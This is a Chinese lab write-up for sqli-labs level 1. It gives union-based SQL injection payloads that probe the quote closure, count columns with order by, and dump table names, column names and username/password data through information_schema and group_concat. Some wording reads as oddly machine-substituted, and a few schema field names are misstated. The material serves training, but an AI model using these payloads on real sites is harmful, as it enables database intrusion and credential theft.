Sql-labs的第一关
前言我们在使用Sql-libs靶场进行Sql注入实验的时候,前提要求我们对mysql数据库结构要有一个大概的了解,因为mysql5.0以上的版本都会自带一个名为information_schema的数据库,这个数据库下面会有columns和tables两个表。
tables这个表的table_name字段下面包含了所有数据库存在的表名。table_schema字段下是所有表名对应的数据库名。columns这个表的colum_name字段下是所有数据库存在的字段名。columns_schema字段下是所有表名对应的数据库,了解了这些后会对我们进行Sql注入的时候有很大的帮助。
一、Sql注入的原理是什么?
用户在访问web界面的时候,web步伐对用户所输入的数据的正当性没有进行判断大概过滤不严格,攻击者可以利用这个漏洞,在web步伐中将事先定义好的查询语句的末端上插入额外的Sql语句,在管理员不知情的情况下实现非法操作,以此来诱骗数据库并查询自己所必要的信息,比如:用户的暗码和账号等
二、Sql的注入过程
https://img-blog.csdnimg.cn/direct/6c54bb68564f4bcab8bf72de74ba7740.png
1.Sql-lis第一关
判断是否存在sql注入?
1.提示我们输入id,输入?id=1,在数据库中查询到如下字段
https://img-blog.csdnimg.cn/direct/6d5e29a3a32b4c9e8525846f45fa5bdc.png
2.通过输入的id的值不同,我们发现返回的内容会不同
https://img-blog.csdnimg.cn/direct/967c3b8ba192483f83625a7ec09de64c.png
3.判断注入的类型,是否为拼接,而且是字符型照旧符号型
我们可以输入?id=1\,通过加 \ 的方式判断闭合,\后面的符号就是闭合符号,见页面出现错误,即位字符型
https://img-blog.csdnimg.cn/direct/1a12cff7aec64fa2b9de6525a446fa56.png
输入?id=1‘ 报错
https://img-blog.csdnimg.cn/direct/c72146e23e134fdd94f76d551bfb632a.png
在上述字段后加入–+,显示正常,分析是单引号 ’ 闭合
https://img-blog.csdnimg.cn/direct/49a1f20e422c451a8c548caa504c7f5e.png
4.判断字段数
输入’ order by 3 --+,可见正常
输入’ order by 4–+ 报错,分析只有三个字段
https://img-blog.csdnimg.cn/direct/d38e2f53ead0400c8f2c47a649353e3b.png
https://img-blog.csdnimg.cn/direct/1b8cad773c3040db8e7cd6c7a55ba02a.png
5.联合查询7
因为字段数为3,所以使用 union select 1,2,3进行查询 ,判断回显点
https://img-blog.csdnimg.cn/direct/fb741abaa5f14056b34b0520f7529d3d.png
我们可以将上述语句的2大概3改成database()来显示数据库名
https://img-blog.csdnimg.cn/direct/78da514fa2e346fe805f563c3ffe2546.png
6.联表查询,爆表名
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
https://img-blog.csdnimg.cn/direct/dd30eb64300247ce86c2c2e9fe0165d4.png
7.爆字段名
union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
https://img-blog.csdnimg.cn/direct/6f924fca99844e6f920005f64d5dc281.png
8.爆字段中的内容
根据上一步爆出的字段名usernmae,password进行查询即可
union select 1,2,group_concat(username,password) from users
https://img-blog.csdnimg.cn/direct/539f59a7e6e54e31927b033540e98870.png
至此第一关就竣事了,第二关与第一关的步骤雷同,不同的是第二关是数字型注入
总结
Sql注入要求我们对数据库的结构要有一个大概的了解,这要就能更容易去操作!!!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]